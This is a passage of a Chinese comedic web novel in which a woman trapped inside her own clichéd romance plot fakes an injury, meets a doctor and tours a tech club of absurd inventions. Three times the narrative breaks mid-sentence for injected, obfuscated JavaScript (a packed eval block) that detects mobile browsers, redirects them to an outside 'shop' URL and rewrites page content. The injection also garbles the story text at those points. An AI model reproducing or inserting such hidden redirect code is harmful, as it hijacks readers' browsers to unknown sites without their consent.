洛玄谦逊地笑笑,转而进入下一个话题:“泪儿小姐,你还记得刚才课上老师提出的那个问题吗?” 祁冉的表情僵硬了一瞬。 怎么又聊到这个话题了,不带反复鞭尸的! “……记得,怎么了?” “老师说过,那道题世界上只有两个人做得出来。”洛玄眸色深沉,眼神中闪烁着钦佩和惊喜的目光,“那两个人一个是老师一个是我,而现在还有第三个人,那就是你,泪儿小姐。” 他一本正经地说着这样严肃的事,恍惚间让祁冉产生了一种她真的解出了世纪难题的错觉。 可她不过是说了句“1+1=2”而已啊! 而且现在这剧情真不是照搬《tiny时代》中的微积分名场面吗? 洛玄当然不知道祁冉此刻内心的疯狂吐槽,还以为她只是因为遇到知音而感到震惊,于是继续说了下去:“泪儿小姐,你是不可多得的人才,要不要考虑加入科技协会?那里是精英汇聚的舞台,我相信你在其中一定可以做出卓越的成就。” “既然是洛玄少爷的邀请,那我没有不去的道理。”祁冉终于等到这句话,她一口答应下来,“我需要向谁提交什么申请材料吗?” “不用,你是受邀而来的人,不需要准备这些。”洛玄说道,“今天我们会在中心广场上设置摊位,我一整个下午都在那里,到时候你直接过来就好,我会带你去参观科技协会的内部情况。” 和洛玄约好了时间,下午的第一节课后,祁冉如期来到学校的中心广场。 与那些穿梭在无数摊位中观赏游览的学生不同,祁冉目标明确,单刀直入地快步走向科技协会所在的区域。如果她推算得没错,这里应该就是下一个剧情发生地。 没过多久,她就被一道密不透风的人墙挡住了去路,围观的学生都在七嘴八舌地议论些什么,让祁冉难以听清他们具体的谈话内容。 大脑中响起一道熟悉的提示音。 【剧情:泪儿应邀来到学校的中心广场,艾利牛顿商学院的各大学生组织和社团正在这里火热招新。可是,在科技协会的摊位前有一伙人发生了冲突,正直的泪儿上前劝架却不慎被误伤,但也因此与三位男主邂逅。】 【任务:向身边的人询问情况,冲进打架的人群中保护三位男主,并受击倒地。】 祁冉再次谨慎地向系统确认:“剧情里面写了我在劝架时会被误伤,你确定我不会在这个过程中受到真实伤害?” 【是的。】 得到肯定答复,祁冉就近找了个站在她前方的同学,伸出手拍拍她的肩膀:“同学你好,请问这是发生什么事了,你们为什么都围在这?” “篮球社和科技协会的人吵起来了。”女生压低声音对祁冉说,“篮球社的人说,这里一直都是篮球社的地盘,不许科技协会的人在这摆摊。” “篮球社的人也真是胆大。” 听到她们的对话,女孩旁边的男生也加入了讨论,“星痕是科技协会的会长,洛玄是学生会的首席,南宫打遍天下无敌手,这三个人可都是学校里的焦点人物,没一个好欺负的,他们竟然敢往枪口上撞。” 在祁冉了解情况的这段时间内,她已经大致浏览了一遍那三个男主的信息。除了她已经见过的洛玄以外,还有两名新角色。 她先看了看那个银白色头发的男生,他那双左蓝右紫的异瞳格外引人注目,即使正处在矛盾中心,他的脸上也几乎没有什么表情。他将衣袖挽至手肘处,露出一截肌肉线条流畅的小臂,可以看出主人保持着规律的锻炼习惯。 【人物姓名:南宫冷夜】 【人物简介:表面身份是艾利牛顿商学院的学生,实际是███首领。校园风云人物之一,有众多狂热追求者,性格冷酷无情,仿佛万年冰山。他身世悲惨,背负血海深仇,只有泪儿的温暖能融化他内心的坚冰。】 祁冉发现了,这帮人包括她自己个个都像是身怀绝技。 她把目光移向另一个男主,橙黄色的日光披在他身上,为他镀上一层耀眼的光晕,勾勒出他挺拔颀长的身形,也显得他的笑容更加温暖明朗。 【人物姓名:梦殇(原文是错别字,系统已自动修正)·阿尔法·星痕】 系统你人还怪好的嘞。 【人物简介:表面身份是艾利牛顿商学院的学生,实际上是来自███的王子。外貌为冰蓝色短发,绿色眼瞳,是智商超群的科研天才,随身携带各种高科技装备,性格阳光开朗。最初是为了███来到艾利牛顿商学院,在遇见泪儿后意外计算出爱上她的概率是250%,从此深陷感情无法自拔。】 ……祁冉觉得这人倒像个二百五。 因为他算出来了会爱上自己,所以他坠入了爱河。 这是什么神逻辑? 掌握了全部情报,祁冉奋力从人群中挤到围观学生的最前方,面前的三个男主还在和对手争执不休,双方都是一副剑拔弩张的态势,局面一触即发。 篮球社的领头人说出开战宣言:“好,既然这样,那我们只能凭武力决出胜负了。” 站在三人中央的星痕笑道:“我们奉陪到底。” 一旁的南宫冷夜把袖子又往上挽了挽:“少废话。” 另一侧的洛玄表情冷峻:“直接过来吧。” 为首的篮球社员发出一声怒吼,举起拳头就冲南宫冷夜的脸上砸去,而南宫冷夜只是微微侧身,便轻易躲过了对方的袭击,反身抓住他的胳膊一扭来了个过肩摔,结结实实将他甩在地上。 其余的社员们愣了愣,躺在地上的社员痛得龇牙咧嘴,破口大骂道:“你们几个还愣着干什么,快上!” 这几人才如梦初醒般地合起伙来一齐向三个男主发起冲锋,不一会场面就乱成一团。 祁冉顾不上吐槽这些烂俗的桥段,瞅准时机冲了过去,嘴里还大声喊着“你们不要再打了啦”的经典台词。 然而,不知道是不是由于剧情设定中的保护机制,那些人的拳头每次在离她还有十公分的时候就会自动停下,根本打不到她身上。 无奈之下,祁冉索性往地上一躺,发出惨叫大声碰瓷:“啊!好痛!” 伴随着她的叫喊,冲突双方都赶紧停了手。对面的人不知所措地看着倒在地上的祁冉,三个男主则迅速跑到她身边将她扶了起来。 洛玄认出了祁冉,他率先开口,语气中是不加掩饰的关切:“你没事吧?” 另外两个男主也提出了同样的疑问。 祁冉当然没受伤,但为了不偏离剧情,她还是装出忍痛的模样,勉强挤出一丝微笑:“我没事,你们没受伤真是太好了。” 三位男主没有想到,在这个时候祁冉还挂念着他们的安危。 眼前的这个女孩是多么坚强,多么善良。 眼见着这三个人的眼神变得暧昧而深情,祁冉赶紧盘算着说点什么从这里脱身,星痕却抢先发了话:“不行,你是为了保护我们才摔倒的,我们得查看你到底有没有受伤。” 说完,他就从自己兜里掏出来了一台形似巨型照相机的仪器。 祁冉震惊地看了看他的裤兜。 这是什么四次元口袋? 尽管祁冉一再拒绝他们的好意,但三位男主的态度异常坚决,最后她不得不任由机器为自己检测身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742085|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体状况。 “你果然受伤了。”星痕拿着检测结果,心疼地牵起祁冉的手,指着她手背上的一块区域说道,“在这里,有一处5×3×2纳米的伤口。” 听到这句话,洛玄和南宫冷夜都一齐盯着对面的始作俑者,神情阴郁。 处于风暴中心的祁冉不敢轻举妄动,只能顺着剧情说:“没关系,我……” “不可能!”对面的人大喊道,他的声音由于愤怒和恐惧而剧烈颤抖着,“我们刚才都没碰到她,她怎么可能受伤!你们分明就是污蔑!” 这话引发了围观群众的激烈讨论,人群都骚动起来。 星痕胸有成竹地站起身来,将他手中的检测结果放大数倍,展示给在场的所有学生看:“原因在这里写得清清楚楚,你们应该知道我的仪器从不出错。” 祁冉看见,在受伤原因后面标注着一行字:“攻击者出拳时带动了气流,由于伤者皮肤娇嫩,所以被空气割伤。” 周围响起一阵阵惊呼:“什么,她是被空气割伤的!” “空气,他使用了空气!” “学校里竟然有这么危险的东西,我们一定要告诉校长,让他把空气都抽干!” 祁冉已经习惯了。 “既然证据已经摆在眼前,你们也不用再抵赖了。”洛玄转头对南宫冷夜说道,“南宫,你去把他们带到教导处,我和星痕把泪儿小姐送到校医院。” 他的话刚一落音,系统提示声就紧随其后上线。 【剧情:泪儿受伤让星痕、洛玄和南宫冷夜都担忧不已,洛玄和星痕把她送到了校医院。校医听了泪儿的英勇事迹后,在心疼这个柔弱女孩的同时,又暗自钦佩她的善良勇敢,对她萌生出了钦慕之情。】 【任务:跟随洛玄和星痕前往校医院,和校医对话,博得他的好感。】 祁冉在心里算了算,这已经是第五位男主角了,但她还没背熟南宫冷夜和什么阿尔法贝塔星痕的个人信息。 她觉得有点头疼,一边被星痕和洛玄搀扶着往校医院走,一边向系统提问:“你能不能和我透露一下,这个故事里一共有几个男主角?如果人物太多的话,我很有可能记不住。” 系统沉默片刻,像是在掂量它的回答算不算剧透。 过了一会,它再度发出声音。 【尊敬的宿主,本书中一共有六位男主角,请您继续努力,即将解锁全部人物。】 分别走在祁冉两边的洛玄和星痕见她半天没吱声,还以为她一直在忍痛,不由得又对她产生了几分敬佩和疼惜。 “泪儿小姐,刚才听洛玄的口气,你和他认识?”星痕和泪儿搭话,好转移她的注意力,同时不满地瞥了洛玄一眼,“我怎么没听他提起过?” 祁冉还没来得及开口,洛玄的一句话就怼了过来。 “我又不是做什么事都要通知你。” 夹在中间的祁冉嗅到了一丝火药味。 她打着哈哈和稀泥:“洛玄少爷和我也刚认识没多久,而且我们也不是很熟,可能就是因为这样,他才没……” 她笑着看向洛玄,一句话还没说完,笑容就凝固在了脸上。 祁冉在心里疯狂撤回自己的话。 完蛋了,她说什么和洛玄不熟啊! 果然,洛玄的脸色阴沉了几分,祁冉察觉到他将自己胳膊攥得紧了些,让她不由自主地向他那边靠去。 “洛玄,不是我说你,你脸上总是没有太大表情,也没什么幽默细胞,这样是不会有人喜欢你的。”星痕笑得一脸灿烂,手上暗暗使劲把祁冉往回拽,“你应该多向我学习。” 虽然两个人在暗中较劲的时候顾及到祁冉的感受,她并没有被拽疼,但祁冉还是觉得自己像是一条拔河比赛中的绳子。 她在心里揶揄自己,过去她还经常和朋友口嗨,等她以后成为富婆了要同时和八个帅哥谈恋爱,现在想想,她根本没有成为时间管理大师和端水大师的能力。 而且祁冉突然意识到一件事。 她正走在和第五位男主会面的路上。 5. 温柔校医与中二病 前往校医院的路上,祁冉一直如履薄冰,尽量说些安全的话题,小心地维持着他们这个三角形的稳定性。 从两人的对话中祁冉了解到,洛玄、星痕、南宫冷夜都是艾利牛顿商学院的大四学生,三人是好朋友,也是学校中最引人注目的三颗明星,在大一时共同组建了科技协会。 祁冉估摸着,在她之后的校园生活中肯定少不了白学现场。 终于,她被星痕和洛玄扶着进了校医院的大门,顺着走廊来到诊室前。 “羽尘医生。”洛玄叩叩诊室大门,提醒里面那位医生有人来了,语气焦急地说,“这位同学受伤了,请您给她包扎一下。” 坐在办公桌后的医生闻声抬起头来,他看了祁冉一眼,叫几人先坐下:“受伤原因是什么?” 趁着两人向医生讲述事件经过并指出她伤口所在的位置,祁冉打量了一下校医的样貌。 这时他正动作轻柔地托着她的手,神情专注地查看着那处用肉眼根本看不见的伤口,时不时地温声问她一句当前的感受,笑容温柔得体,却未曾发觉有一缕浅金色的发丝垂在他鬓边,眼角下的那颗泪痣在发间若隐若现,更是为他添了几分柔情。 但是祁冉是一名来自现实社会中的拥有常识且精神正常的成年人,她的第一反应是这医生看起来真不靠谱。 这么年轻,还是黄毛! 她看了看医生旁边的那张悬浮屏上的信息。 【人物姓名:圣·羽尘】 【人物简介:艾利牛顿商学院的校医,天才全科医生,同时也是光明教会的圣子,出身贵族。外貌为浅金发琥珀色眼瞳,性格温柔体贴,拥有最强的███之力。他是泪儿最温柔的守护者,但实际上███,对泪儿的占有欲极强,只有泪儿才能将他从███中拯救。】 祁冉数了数,加上她自己,这已经是她见到的第四个天才了。 这个世界的天才未免太不值钱了! “我明白了,你们两个先出去。”羽尘为祁冉做完检查,叫星痕和洛玄在诊室外面等候,又让祁冉坐到另一边的床上,语气温柔道,“泪儿小姐,你在这里稍等一下,我去取药品和纱布。” 星痕和洛玄极不情愿地走到门外,在两人恋恋不舍的目光中,羽尘无情地关上门切断他们的视线,回来经过消毒柜时,顺手拿来了他要用的物品。 “泪儿小姐,上药时可能会有一点疼,请你忍耐一下,实在受不了的话就告诉我。”羽尘推来一张椅子,坐在她面前打开药瓶,准备为她消毒,轻声安抚她道,“我会尽量轻一些。” 如果不是因为羽尘正用棉签在她毫发无损的手背上反复摩擦,祁冉现在一定会被感动得热泪盈眶。 但想到任务,祁冉还是时刻提醒着自己不要露出一言难尽的表情,努力展现着她勇敢坚强的美好品质。 “没关系,羽尘医生,您放心上药就好,这点痛苦我忍忍就过去了。” 听到这话,羽尘抬眸扫了祁冉一眼,目光中流露出疼惜的意味:“泪儿小姐,你明明是这样的柔弱易碎,却在面对危险时敢于挺身而出,这是为什么?” 还能是为什么,当然是为了早点回家啊! “因……因为同学之间打架总是不好的。”面对羽尘猝不及防的提问,祁冉差点把心里话说出口,还好她在最后一刻找回了自己的人设,“我不想看到任何一个人受到伤害,所以要上前阻止他们。” “你果然是个善良的女孩。”羽尘笑了笑,但在低头看到祁冉并不存在的伤口时,他的眼神又黯淡下去,“可是你自己却受伤了。” “没关系,只要大家都没事,我这点伤不算什么。” 羽尘只是简短地应了句“嗯”,低头把纱布一圈圈地缠在祁冉的手背上,很明显陷入了低落而悲伤的情绪。 见形势不妙,祁冉的大脑飞速运转,思索着怎么才能让进一步提升羽尘对她的好感。 她忽然灵光一现。 “羽尘医生,我想您应该能理解我的做法,因为您和我是一样的人,不是吗?”她微笑着看向羽尘,把话题引导到他身上,“您能成为救死扶伤的医生,一定是爱的力量支撑您走到了今天。” 爱与和平可是文学作品经久不衰的主题! 见羽尘惊异地看着她,祁冉知道自己蒙对了,于是开始放心发挥她过去给领导拍马溜须积攒下的功力,拿出了最诚挚的语气随口胡诌:“虽然我不是医学生,但我明白,医学知识浩如烟海,要成为这个领域的佼佼者本就需要付出常人所不能及的辛勤与努力,更何况您还是全科医生,您上学的时候一定很辛苦……” 祁冉说这段话的时候满脑子都是自己那个学医的闺蜜,每到期末考试时她都会因为背书背到精神崩溃,隔上几天就要给她打电话嚎啕大哭,说什么下辈子再也不学医了。 虽然都说劝人学医天打雷劈,但这世界上总是有人像她的闺蜜一样,一边叫苦不迭一边在医学领域艰难跋涉,祁冉觉得他们都很伟大。 “泪儿小姐,我没想到,你不但善良勇敢,还有一颗悲悯众生的美丽心灵。”羽尘被祁冉的话深深感动了,他眼中有泪光闪烁,轻轻捧着祁冉的手说道,“如果可以的话,我希望在你痊愈之后能够抽空来我们家族管辖的教堂参观,我所供奉的光明女神一定会很高兴见到你这样品德高尚的女孩。” 祁冉点点头,神情万分激动:“好。” 她听见了系统提示音,这个任务终于做完了! 然而,当祁冉看到她被裹成木乃伊模样的手的时候,她觉得自己高兴得太早了。 显然这个羽尘医生也不是什么正常人。 “泪儿小姐,你的伤口我已经处理好了。”羽尘去洗了手,又回到办公桌后拿出一个小药瓶递给祁冉,“为了加快伤口愈合的速度,这几天你要按说明书上规定的时间和用量服用药物,下周过来复诊。” “好的。”祁冉看了看瓶身上的贴纸,上面并没有标注药品名称和配方,“羽尘医生,请问这是什么药?” “浓缩消毒水。”羽尘体贴地补充道,“放心,这是我改良过的草莓味,好喝的。” 祁冉笑容满面地回答:“我谢谢您。” 敢情他的医学知识是师承一位名叫唐纳德的美国人。 “怎么样,泪儿小姐,医生怎么说?” 见祁冉从诊室里面出来,星痕一个箭步窜到祁冉面前,急不可耐地询问她的伤情,还没忘了用身体把洛玄撞到一边去。 “没多大事,羽尘医生说让我多注意休息就好。”她对面前的两人温柔一笑,目光却注视着系统悬浮屏上的文字。 【剧情:风波过后,泪儿按照原计划跟随星痕和洛玄前往科技协会的活动室进行参观,在这里她见到了各种各样的研发成果,泪儿觉得非常新奇。可是,就在她申请加入科技协会时,南宫冷夜处理完事件回到活动室,以她左脚先迈进活动室为理由拒绝了她,但泪儿凭借着自己的聪明才智巧妙地化解了危机,也让几位男主再次被她的机智折服,产生了深入了解她的想法。】 【任务:跟随星痕和洛玄前往科技协会,表现出自己的好奇和对加入科技协会的向往,在被拒绝后巧解难题,成功说服几位男主同意你加入协会。】 祁冉笑得很僵硬。 在今天之前,她一直都觉得“一个人因为左脚先迈进公司而被开除”只是一个拿出来开玩笑的梗。 而且,系统为什么就这样直接把问题丢给了她啊! 针对祁冉的问题,系统是这样回答的。 【宿主您好,您在原文中并没有写出解决问题的方法,所以请您自行发挥。】 祁冉怀疑,当初她在写这段剧情时就压根没想出来该怎么编才能让它逻辑自洽,索性一笔带过,因此就造成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742086|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了当下的局面。 这何尝不算一种自食其果。 车到山前必有路,反正她在这里空想也找不到什么好办法,还不如随机应变。 她清清嗓子,制止面前正在扯头花的两人之间的争斗:“洛玄少爷,您现在带我去参观科技协会吗?” “嗯。”听到祁冉主动叫他,洛玄脸上浮现出胜利的微笑,“你跟我来。” “我也要去。”星痕往两人中间一插,隔开了洛玄和祁冉,“我是科技协会的会长,有新会员加入,我哪有不去的道理?” 祁冉不想让这两人耽误自己做任务的速度,索性上前站到最中间,让他们一人站在一边,扯着两人的胳膊说:“那我们一起去,快走,待会时间就晚了。” 祁冉跟着星痕和洛玄来到科技协会所在的大楼,在快要走到二楼的走廊尽头时,星痕和洛玄停下脚步,转头对祁冉说道:“我们到了,科技协会的活动室就在这里。” 祁冉疑惑地看了看旁边一望无际的白墙,墙上只有阳光透过玻璃窗投射下的金色光影。 “学长,这里连门都没有,活动室在哪?” “别忘了,科技协会可是艾利牛顿排名第一的社团,全校最顶尖的学生都汇聚在我们这里。”星痕一脸得意地说道,“我们的每项发明都具有巨大的商业价值,足以改变世界。所以,出于安全考虑,我们为活动室设置了动作密码,只有密码正确才能让房门显现。” “学长考虑得真周到。”祁冉已经提前进入了角色,“那请您解锁吧。” 一旁的洛玄提醒她:“泪儿小姐,为了以防万一,进入活动室的每个人都要输入密码,所以请你跟着我们一起做。” 祁冉看着星痕和洛玄拉开距离,摆出一副即将开始尬舞的架势就明白,她的又要遭遇新的精神折磨了。 “泪儿小姐,请你准备好,要开始了。” 说出这句话后,星痕突然大喊一声,然后猛地抬起胳膊捂住右眼,手指盖住了小半个额头,声音中充满痛苦与压抑:“可恶……我快要控制不住自己了……” 祁冉模仿着星痕的动作,觉得她也快要控制不住自己了。 这时,周遭忽地响起一阵强劲的音乐。 不是,他们怎么还自带音效的啊! “哼哼……哼哼哼……”伴随着乐声渐响,洛玄的笑声也越来越大,脸上浮现出阴险的表情,“错的不是我,而是这个世界……既然如此,就让吾等的漆黑烈焰来吞噬所有罪孽吧!” 祁冉惊恐地看了他一眼。 洛玄这是被谁夺舍了? 接着,星痕和洛玄的呐喊汇聚在一起,喊出了惊天动地的气势。 “碎裂吧,命运!颤抖吧,灵魂!埋葬这腐朽的世界!!!” 祁冉的沉默也同样震耳欲聋。 他们到底在燃些什么啊! 然后,两位男主一齐伸出手指,摆出柯南式“真相只有一个”的手势,笔直地指向前方的白墙:“死之结界,开!” 祁冉喊出最后一句台词,好像耗尽了全身所有的力气。 有些人在十岁时是非主流,有些人在十岁时是中二病,而祁冉很不幸,她说我all in。 “好了,现在我们可以进去了。”洛玄回头看向祁冉,“泪儿小姐,走吧。” 祁冉望了望他那副平静俊朗的面容,全无刚才突发恶疾的痕迹,好像他们的尬舞只是一场梦。 星痕也一如往常地笑着对她说:“泪儿小姐,欢迎来到科技协会。” “等等,在进去之前我有个问题。”祁冉忍不住问道,“我以后每次进来都要做一遍这些动作吗?” 洛玄点头:“当然,这是必要的安保措施。” 祁冉看看面前那道闪烁着炫彩星光的大门,目光中带上了几分敬畏和提防。 谁知道这里面还有什么等着她? 6. 科技协会 为了不偏离剧情,祁冉进门时还专门注意了一下先迈左脚。 就像穿过一道水帘那样,当祁冉再次睁开眼睛时,她已经站在了活动室内部。 不过,与其说这里是活动室,倒不如说是一个庞大的科研中心。 祁冉朝正前方的墙壁上看去,那里悬挂着科技协会的金属铭牌,上面标注着对它的中英文介绍,前台那里坐着三名接引员,随时准备接待访客。大厅正中央有一台智能咨询台,默认界面展示着科技协会内部导览图。 洛玄上前一步说道:“泪儿小姐,我们先去展示厅吧。” 祁冉点头,跟着两人穿过走廊,一面走一面好奇地四处张望。一些实验室没有关门,因此她能从这里看见房间的内部情况,它们的装潢处处彰显着科技风,炫酷的蓝光、规则简约的几何图形、随处可见的悬浮屏与全息投影、闪烁着金属光泽的实验台、琳琅满目的仪器设备,看起来还真的挺像那么回事。 但看着看着,祁冉觉得眼前的场景好像有点眼熟。 突然,尘封已久的童年记忆浮出水面。 这不是《悲伤星球》里面的实验室吗! 不过想想也挺合理,对于她来说,《悲伤星球》算是她的科幻剧启蒙了。 三人来到展示厅,星痕看着东张西望的祁冉,颇为自豪地问道:“怎么样,我们的科技协会办得还不错吧?” 何止是不错,祁冉都要以为她在逛什么国际高科技展会了。 “这些全是你们自行研发的东西?”祁冉走过一个个玻璃展柜,惊奇地观察着里面的展示样品,它们都充满了冷淡锋利的科技感,看上去相当高端,“真是太不可思议了。” 自她穿越以后,这还是她发出的第一句由衷的赞美。 洛玄微微一笑:“看上去泪儿小姐对这些作品很感兴趣,那就……” “那就由我来给你介绍一下吧。”星痕抢过洛玄的话,兴致高昂地让她看向右手边的展台,“这些都是我们前段时间研发出的小玩意。” 祁冉时刻谨记着自己的任务,做好了见缝插针放彩虹屁的准备。 “先看这个,MYD-15F-4930号,这是我自己研究出的荧光量子富氧饮液。” 祁冉似懂非懂地打量着那个小玻璃瓶,装出好奇的样子问:“那它具体有什么用途呢?” 星痕露出一个高深莫测的笑容,眼中闪烁着兴奋和激动的光芒,连声音都战栗起来。 “它可以让你的鼻毛发亮一整夜!” 祁冉汗流浃背了。 这让她怎么夸? 到底是谁会需要夜光鼻毛啊! “太好了,有了它的话,在荒野中迷路的人就可以把它喝下去,便于搜救人员在夜间开展搜寻工作,增加他们获救的几率。” 祁冉搜肠刮肚地寻找着它可能的应用前景,狼狈的模样像极了当年她写论文时绞尽脑汁编创新点的样子,“不愧是星痕学长!” “泪儿小姐,你来看这件SMDX-53R-7862号。”刚才洛玄被星痕抢占先机,又受到祁冉的夸奖,他挂着一脸不爽的表情,“这是我发明的超感知社交AI助手。” 祁冉现在已经很警惕了,不会再被这种乍一听很高端的名字欺骗,她扫了眼那个形似曲别针的小型设备:“麻烦洛玄少爷向我详细介绍一下它的功能。” 听到祁冉主动向他提问,洛玄的心情好多了,脸上浮现出温和的笑意:“这是一个可以别在衣服上随身携带的智能仪器,在社交场合,当你不知道该怎么回应对方时,它可以通过分析对方的语言、动作、微表情做出合适反应,帮助你维持更好的人际关系。” 祁冉觉得这个设备还挺实用的,简直是职场底层打工人必备小助手。 她来了兴致:“洛玄少爷,请问你可以把它拿出来试用一下吗?我想看看它的效果。” “当然可以。” 洛玄打开玻璃柜将它从展台上取出,把别针别到自己胸前,对祁冉说道:“泪儿小姐,您现在可以和我对话了。” 祁冉从打招呼开始:“洛玄少爷,你好。” “你好。” “早上你说要给我讲笑话,你想讲什么笑话?” 洛玄陷入了沉默。 “哈哈哈哈哈哈哈哈哈。” 从曲别针中传出一串响亮的罐头笑声,在活动室内回荡许久。 祁冉觉得听起来有点嘲讽。 她疑惑道:“这是什么意思?” “这是它的功能之一。”洛玄谦逊地说道,“在主人冷场的时候,它会用最大音量播放笑声来调节气氛。” 感觉气氛更糟糕了! 不过确实很有洛玄的风格。 “原来是这样,我完全明白了!”祁冉装出一副深以为然的模样,对洛玄的想法大加赞赏,“洛玄少爷果然是个温柔的人呢,以后有了它,人们之间的关系一定能变得更融洽。” 祁冉在大脑中搜罗了半天也没想出来该夸些什么,索性发动了万能的亚撒西技能。 “泪儿小姐过奖了。”洛玄尝到了甜头,继续问道,“你还要再试试吗?” “不用了,谢谢。”祁冉连忙拒绝,“我们再去看看其他展品吧。” 接着,星痕和洛玄争先恐后地为她介绍了一大堆高科技产品,包括但不限于: 全自动追踪型睡眠唤醒仪,它会在预设时间用特定频率的高亮度光线精准照射在使用者的眼皮上,而且可以全方位无死角地追踪使用者的双眼,无论使用者怎么翻身都无法躲避这道强光,用星痕的话来说是模拟“清晨的第一缕阳光”,用大自然的方式将使用者从睡梦中唤醒; 脑电波感应式翻页器,可以通过检测使用者的脑电波帮助其翻页,实现人们躺着看书的愿望,为了防止误操作,设计者还很贴心地降低了它的感应灵敏度,只有当使用者面目狰狞、咬牙切齿、调动全身肌肉集中意念时它才会启动翻页功能; 强迫症专用智能语音复核门锁,顾名思义专为强迫症患者设计,在使用者锁门后,它会以每十秒一次的频率询问使用者“你真的锁门了吗”,通过反客为主的方式让使用者不堪其扰,从而达到治愈强迫症的目的…… 祁冉发现了,科技协会里的成员个个都是鬼才。 但为了完成任务,祁冉不得不展现出自己旺盛的好奇心和求知欲,还要在旁边想尽一切办法分析每个研究的用途,吹捧科技协会的伟大之处。 逛了一圈下来,祁冉觉得自己的大脑褶皱都被抚平了。 系统提示音响起之后,祁冉赶紧转换目标,拉着星痕和洛玄推进任务流程,语气真挚道:“学长,经过刚才的参观,我已经明白了,科技协会无愧于我校最强社团的名号。我也想加入你们,成为协会的一分子。” “泪儿小姐,听到你这话我很高兴,我们也很欢迎你的加入。”星痕看了旁边的洛玄一眼,“不过科技协会毕竟是由我、洛玄还有南宫三个人创建的,我们还需要征得他的同意。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742087|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对。”洛玄点头道,“他去处理篮球社的那帮人了,估计待会就能过来了。” “嗯,我已经回来了。” 说话间,一道冷峻的男声就从祁冉的身后传来,她回头看去,正巧撞上了南宫冷夜的视线。 “刚才我去校医院找你们,羽尘医生说你们已经走了。”南宫冷夜走到几人身边,确认祁冉的名字,“泪儿小姐,是吗?你要加入科技协会?” “是的。” 不知道是不是剧情设定如此,南宫冷夜人如其名,言行举止都带着凛冽的气势,当他靠近祁冉时,祁冉觉得周围的气温都下降了不少。 他看看祁冉左右两边的星痕和洛玄,语气严肃:“刚才你们进门的时候,迈的都是哪只脚?” “南宫,别这么不近人情。”星痕把手臂搭在南宫冷夜肩膀上,试图和他套近乎,“泪儿小姐是洛玄请来的贵客,刚才还因为保护我们受了伤,咱们就不用考验她了。” 听星痕这意思,这个问题像是每个新人入社前都必须通过的考核。 南宫冷夜瞥了眼祁冉手上的纱布,表情有一瞬的松动,但很快又恢复如常。 “我也很感谢泪儿小姐,但我们得就事论事。她要加入科技社,就应该具备相应的素质。”南宫冷夜重复他的问题,“你们进门的时候,迈的都是哪只脚?” 祁冉提前掌握着剧本,便直接报上答案:“左脚。” 洛玄一脸平静地回答:“我忘了。” 星痕无奈地笑了笑:“我也记不清了。” 南宫冷夜的目光从两人脸上扫过,发出一声轻笑。 “你们的记性一直都很好,现在说忘了,是不是太明显了?”他知道两人是存心掩护祁冉,于是说道,“调监控吧。” 旁观了整个过程的祁冉已经不知道该说什么了。 进门先迈哪只脚有这么重要吗? 而且这几个人为什么要一脸严肃地讨论这种废话啊! 总之,她还是跟着三个男主走起了剧情,一同观看了录像。 画面上显示,祁冉进门时迈的是左脚没错,但洛玄和星痕迈的都是右脚。 “既然这样……”南宫冷夜直起身子,面向祁冉说道,“很抱歉,泪儿小姐,我不能同意你加入科技协会。” “为什么?就因为我的左脚先进入活动室吗?” 荒谬的剧本竟然真的在自己面前上演了,祁冉对这个逻辑混乱的世界感到绝望。 要是这样的话,她能想出什么办法来扭转局面啊? “不是。你是左脚还是右脚先进入活动室都没问题,只需要满足一点要求即可。”南宫冷夜解释道,“有入会意向的学生在第一次进入科技协会的活动室时,都会有正式会员带领,而这就是考核的关键环节,只有那些和正式会员迈出相同的脚的学生才能获得入会资格。” 祁冉听得更糊涂了,极力压制住自己内心的崩溃:“为什么要设置这样的规定?” “因为科技协会中的成员都是全球顶尖的天才,他们个性各异,只有步调一致才能更好地合作,一同向前。” 听起来好有道理,祁冉竟然无言以对。 不顾星痕和洛玄的阻拦,南宫冷夜声音冷酷:“所以,泪儿小姐,请回吧。” 祁冉思索片刻,忽然有了一个主意。 “好啊。” 她抬起头,对南宫冷夜露出一个淡然的微笑。 “那麻烦几位学长送送我吧。” 7. 打工的宿命 三位男主将祁冉送出活动室,他们正要继续迈步向前时,祁冉突然叫住他们:“等等。” “对不起,我好像把学生证落在里面了。”她在自己的制服口袋中摸索一阵,装出一副不好意思的笑容,“麻烦几位学长再带我进去取一下,我还没记住刚才那些动作。” 于是,祁冉和三位学长又热血沸腾地埋葬了一次世界,打开了那道五毛钱特效般的幻彩屏障。 “在进去之前,我有个请求。”祁冉语气诚恳地对面前的三人说道,“这次几位学长可不可以和我一起,我们进门时都先迈左脚?” 南宫冷夜的眼眸中闪过一丝警惕:“为什么?” 